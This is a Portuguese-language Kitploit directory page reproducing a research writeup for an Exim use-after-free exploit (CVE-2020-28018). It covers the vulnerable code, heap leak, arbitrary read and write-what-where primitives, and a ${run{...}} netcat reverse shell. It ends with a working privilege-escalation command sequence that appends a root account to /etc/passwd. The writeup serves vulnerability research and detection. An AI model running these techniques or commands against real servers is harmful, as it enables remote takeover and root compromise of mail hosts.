Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-28018 — exim use after free exploit and detection | Kitploit
Ferramentas/GitHubGitHub/dorkerdevil/cve-2020-28018
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubdorkerdevil/cve-2020-28018

CVE-2020-28018

exim use after free exploit and detection

Ver Repositório
71há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-28018: Use-after-free (UAF) no Exim levando a RCE

Introdução

Existe uma vulnerabilidade de Use-after-free (UAF) em tls-openssl.c que permite que atacantes remotos não autenticados corrompam dados internos da memória, eventualmente alcançando execução remota de código.

Primitivas:

  • Vazamento de Memória
  • Primitiva de leitura arbitrária
  • Primitiva Write-What-Where

Com o uso de todas essas primitivas encadeadas, é possível contornar completamente todas as mitigações de exploração disponíveis, resultando em execução remota de código como o usuário exim.

Esta vulnerabilidade foi divulgada em uma grande lista de vulnerabilidades; o relatório oficial da Qualys encadeia o Use-After-Free com CVE-2020-28008 para realizar uma Escalação de Privilégio Local (LPE) uma vez que a RCE foi alcançada.

Pré-requisitos

O exim deve ser configurado/compilado da seguinte forma:

  • TLS está habilitado
  • OpenSSL é usado (em vez de GnuTLS)
  • O Exim está em uma das versões vulneráveis
  • X_PIPE_CONNECT está desabilitado

Você pode usar o script checker.py para verificar se um servidor remoto está em uma versão vulnerável e possui alguns requisitos necessários para ser explorável.

[!] checker.py NÃO aciona a vulnerabilidade, apenas verifica a versão vulnerável, verifica se PIPELINING e TLS estão ativados. Isso significa que este verificador não verifica o patch, o que pode gerar falsos positivos.

Código vulnerável

Como já sabemos, a vulnerabilidade está localizada em tls-openssl.c.

root@kitploit:~
/*************************************************
*         Write bytes down TLS channel           *
*************************************************/

/*
Arguments:
  ct_ctx    client context pointer, or NULL for the one global server context
  buff      buffer of data
  len       number of bytes
  more	    further data expected soon

Returns:    the number of bytes after a successful write,
            -1 after a failed write

Used by both server-side and client-side TLS.
*/

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

smtp_setup_msg() é a função principal que realiza a leitura da mensagem do cliente.

Em situações específicas, smtp_reset() é chamada, que realiza uma limpeza de todos os buffers e valores.

Isso pode acontecer em situações como:

  • HELO/EHLO é recebido
  • STARTTLS é recebido
  • RSET é recebido
  • No início de smtp_setup_msg()

No final de smtp_reset(), uma chamada a store_reset() é realizada.

store_reset é uma macro que envolve a função store_reset_3().

As funções de store são apenas funções que gerenciam a memória dinâmica.

O Exim usa um alocador de pool em blocos recebidos do malloc.

Existe também uma funcionalidade interessante que é uma implementação de string expansível.

Struct gstring:

root@kitploit:~
typedef struct gstring {
  int   size;           /* Current capacity of string memory */
  int   ptr;            /* Offset at which to append further chars */
  uschar * s;           /* The string memory */
} gstring;

Quando precisa de mais espaço para concatenar uma nova string, ele chama gstring_grow().

Essa função primeiro tenta chamar store_extend_3(), que tenta estender a memória dentro do mesmo bloco do pool.

Isso pode ser útil quando o comprimento da entrada não é conhecido, mas se mais memória foi alocada depois dela, não conseguiremos estendê-la.

Então gstring_grow() chama store_newblock_3() que apenas retorna uma nova memória e copia os bytes já presentes na anterior para a nova.

Em seguida, o ponteiro g->s é restaurado a partir de gstring_catn().

Na função tls_write(), podemos ver que há um BOOL chamado more.

Ele indica se há mais coisas a serem copiadas para o buffer de string antes de retornar os dados ao usuário.

Se sim, o ponteiro não é anulado.

Se não, então os dados contidos no buffer de string são retornados ao usuário.

Essa funcionalidade abre algumas maneiras interessantes de desencadear um Use-After-Free.

Primeiro, o ponteiro para a struct gstring é armazenado em uma variável estática, o que significa que em futuras chamadas para tls_write() poderemos usá-lo.

Como podemos liberar o buffer e depois ser capazes de usá-lo?

Precisamos fazer com que smtp_setup_msg() chame smtp_reset() depois que um de nossos buffers ainda estiver em server_corked (não anulado).

Após o reset, se chamarmos tls_write() de alguma forma, o ponteiro ainda estará lá, permitindo-nos usá-lo após a memória ter sido liberada.

smtp_reset() libera toda a memória de POOL_MAIN, na qual nosso buffer está contido.

Acionando o Use-After-Free

Para controlar o Use-After-Free, primeiro precisamos inicializar uma nova conexão.

Como queremos explorar o tls_write(), primeiro precisamos iniciar uma nova sessão TLS.

Então, primeiro enviamos um comando EHLO, seguido de um STARTTLS para iniciar a conexão TLS.

Em seguida, para fazer more ser 1, enviamos um pipeline de comandos, e o último será a metade de um NOOP.

Fechamos a conexão TLS e enviamos o restante do comando NOOP.

Agora enviamos EHLO novamente, o que fará com que smtp_reset seja chamado e libere nosso buffer.

Agora precisamos iniciar outra conexão TLS para poder usar tls_write() novamente.

Enviamos STARTTLS.

Agora, enviar qualquer comando para o servidor resultará na chamada de tls_write() para retornar uma resposta.

Mas... server_corked ainda contém um ponteiro para algum lugar na memória liberada.

E esses dados podem ser usados por outras funções, pois estão liberados... então nossa struct gstring será corrompida com dados binários aleatórios.

Este é o resultado de acionar o UAF:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Esta struct está dessa forma apenas ao entrar em tls_write() para nosso comando após o STARTTLS.

Obviamente, assim que corked->s é tentado acessar, resulta em uma interrupção SIGSEGV.

Exploração

Como mencionado pela Qualys, eles usam três etapas para explorar a vulnerabilidade:

  1. Como a memória já está livre, podemos fazer o Exim escrever ponteiros de heap de structs como header_line em nosso buffer, de modo que, quando tls_write() for chamado, seja retornado ao usuário. Dessa forma, temos um vazamento de memória para continuar nossa exploração.
  2. Uma vez que sabemos os endereços de memória do heap, podemos criar uma primitiva de leitura arbitrária para começar a ler o heap até encontrar a configuração do Exim.
  3. Finalmente, o último passo é criar uma primitiva write-what-where. Dessa forma, seríamos capazes de injetar configuração personalizada no buffer encontrado na etapa 2. Podemos injetar ${run{<comando>}}, onde <comando> é qualquer comando que o atacante deseje executar, como um shell reverso usando netcat. Essa configuração será interpretada por string_expand(), e acabará executando o comando.

Controlando a condição Use-After-Free

Legal, conseguimos acionar o Use-After-Free.

Agora precisamos ter um bom controle sobre o UAF para criar nossas primitivas com sucesso e de forma confiável.

Infelizmente, depois que os buffers de POOL_MAIN são liberados, nosso bloco será chamado diretamente por free().

Isso significa que a memória não será acessada apenas através de store_get_3() ou store_newblock_3(), mas de qualquer função que use malloc()... como CRYPTO_zalloc() e muitas outras.

Neste caso, em algum lugar em tls_server_start(), a memória é solicitada através de malloc().

Em seguida, copia alguns dados binários para ela, corrompendo nossa struct gstring.

Precisamos de uma maneira de evitar isso, para que possamos chegar a tls_write() com uma struct gstring sã que aponte para um endereço de memória válido, caso contrário, uma interrupção SIGSEGV será realizada.

Depois de entender como o alocador de pool do Exim funciona, depurar e tentar alguns comandos para ver seu comportamento no lado do heap, podemos finalmente evitar que esses dados sejam escritos em nossa struct gstring.

Vazamento de Memória

Uma vez que tenhamos um Use-After-Free bem-sucedido acionado e não tenhamos problemas com nossa struct sendo corrompida, precisamos tentar mover o heap de forma que uma função escreva um endereço de heap no meio de nossa string (qualquer posição antes de g->ptr).

Temos sorte, pois as respostas, apesar de serem texto simples (não um protocolo binário), nos permitem enviar bytes NULL de volta ao cliente.

Por que isso acontece?

As respostas são enviadas de volta com SSL_write(), sem problemas com bytes NULL.

E as strings? string_catn() não corta bytes NULL. Porque usa memcpy para copiar os dados.

A única maneira de definir um limite é através de g->ptr, mas... como o endereço é escrito antes do índice g->ptr, todos os dados até ele são retornados para nós, vazando assim endereços de heap preciosos.

Resultado do vazamento de memória com o PoC:

Memory Leak

Leitura Arbitrária

Agora, descobrimos a base do heap....

E... os endereços não mudam entre cada conexão... então podemos começar o caminho para a RCE agora.

Mas... como sobrescrevemos a struct gstring?

Acabou sendo bastante direto usando a técnica da Qualys.

O ESMTP adicionou algumas coisas ao protocolo SMTP, como parâmetros para comandos MAIL FROM.

Usar um parâmetro grande após o último STARTTLS é suficiente para sobrescrever a struct :)

Resultado:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x42424242, 
  ptr = 0x42424242, 
  s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}

Controle total sobre a struct gstring.

Agora é hora de criar nossa primitiva de leitura arbitrária.

Aparentemente parece fácil... sobrescrever g->size e g->ptr com um valor grande.

Em seguida, sobrescrever g->s com o endereço de memória do qual queremos ler.

Assim que o comando terminar, tls_write() será chamado para retornar dados ao usuário.

Como o ponteiro do buffer de string está corrompido e aponta para uma localização arbitrária do atacante, os dados dessa localização serão retornados.

Podemos agora implementar uma função que itera sobre os chunks lendo e tentando encontrar palavras-chave que nos indiquem se o chunk é o que contém a configuração do Exim. Se sim, passaremos para a última etapa.

A função que implementei itera cada comprimento READ_SZ ao longo do heap a partir da base do heap.

root@kitploit:~
	[+] Leaked heap address = 0x55c846683d90
	[+] Leaked heap_base = 0x55c8465f4000

[*] Searching for Exim configuration in memory...

[+] Config found at: 0x55c8465f6328

Uma vez encontrado algo, passamos para a última etapa.

Write-What-Where

Legal! Conhecemos o endereço base do heap. E mais interessante... sabemos onde a configuração do Exim está localizada!

Agora é hora de RCE, certo :P

Agora, temos que (de alguma forma) sobrescrever a configuração do exim e injetar ${run{<comando>}}. Assim, quando string_expand() for executado, nosso comando será interpretado e finalmente obteremos execução arbitrária de comando.

A maneira mais fácil de obter RCE é usando netcat, então apenas usar nc no comando nos daria um shell.

Mas... como podemos criar essa primitiva write-what-where?

Primeiro, devemos sobrescrever (como fizemos com a primitiva de leitura arbitrária) a struct gstring.

Uma vez que tenhamos controle sobre ela, podemos primeiro apontar g->s para o local onde queremos escrever, neste caso, o endereço da configuração do Exim.

Então, na próxima resposta a ser escrita no buffer, a resposta será escrita para onde g->s aponta :)

Mas... como podemos corromper a struct gstring e obter uma resposta arbitrária ao mesmo tempo?

A Qualys não deixou isso muito claro no advisory.

Precisamos fazer um comando "MAIL FROM" retornar dados arbitrários.

Após algumas tentativas, pensei que a melhor solução é com uma mensagem de erro.

Podemos escolher ADDR - strlen("501 ").

Assim, esses quatro bytes não corrompem nosso alvo.

Como podemos fazer o MAIL FROM falhar? Eu uso um remetente incorreto, pois o remetente requer um domínio; se nenhum domínio for especificado, a mensagem de erro conterá dados enviados pelo cliente.

Mas há um problema com isso. Como estamos enviando NULLs, esta mensagem é retornada: "501 NUL characters are not allowed in SMTP commands".

Portanto, ainda não há como controlar a saída, pois precisamos de NULLs na requisição.

Não podemos enviar outro "MAIL FROM" para corromper respostas pela simples razão de que, uma vez que acionamos o UAF, more=0 e não há acesso ao buffer liberado.

Mas a partir de handle_smtp_call(), se enviarmos DATA, receive_msg(). Podemos enganá-lo para não restaurar o pool atual, para que possamos preparar o heap um pouco para sobrescrever o buffer liberado.

Uma vez que o sobrescrevemos, enviamos um MAIL FROM com dados inválidos em pipeline com um válido. A resposta será escrita no ponteiro s.

Execução Remota de Código

Depois de alcançar o write-what-where, tive problemas com netcat diretamente, pois alguns requisitos eram necessários para o número de argumentos. Então fiz: /bin/sh -c '<comando nc aqui>'.

Sobrescrevi o ACL MAIL FROM para que um segundo MAIL FROM em pipeline acabe chamando expand_cstring() e finalmente executando meu comando arbitrário.

Esta é uma captura de tela quando obtenho um shell com o exploit:

RCE_CAP

Encadeamento com CVE-2020-28008 LPE

root@kitploit:~
$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
 * Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#

Informações do Sistema

Os testes foram realizados em um debian:

root@kitploit:~
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 10 (buster)
Release:	10
Codename:	buster

Com versão do exim:

root@kitploit:~
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

Minha versão do Exim é auto-compilada, mas replicando as flags de compilação usadas no mainstream do debian.

A configuração é a mesma do padrão do debian com algumas pequenas alterações talvez.

Configuração do Ambiente

Neste repositório, há um diretório chamado exim-4.92. É o código fonte do exim.

Primeiro instale o exim com o gerenciador de pacotes apt.

Baixe o diretório exim e o diretório config para a máquina.

Primeiro copie config/Makefile para exim-4.92/Local. Em seguida, copie config/eximon.conf para exim-4.92/Local.

Agora executamos make, um diretório build-linux-* será criado; nos moveremos para ele e substituiremos todas as ocorrências de "-O2" por "-O0".

Faremos o mesmo no diretório OS/. Finalmente, no build-linux-* adicionamos à variável CFLAGS o -g.

Recomendado adicionar a libc e o código fonte do exim ao gdb.

Agora make e make install.

cp /usr/exim/bin/* /usr/sbin/ cp /usr/sbin/exim /usr/sbin/exim4

Usei este script para gerar certificados: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

Finalmente habilite TLS na configuração do exim4 em /etc/exim4 e use o /etc/exim4/exim.crt e /etc/exim4/exim.key gerados pelo script bash.

Finalmente: sudo update-exim4.conf && systemctl restart exim4

Verifique systemctl status exim4 para ver se está tudo certo.

Se você receber uma mensagem de erro "TLS not currently available" após tentar STARTTLS, verifique os logs do exim4.

Enfrentei um problema porque a chave que usei para os certificados era muito curta. Então modifique os bits da chave do script gencert mencionado anteriormente (use 4096).

Mais Informações

Para mais informações, visite o advisory oficial da Qualys

Baixar ferramenta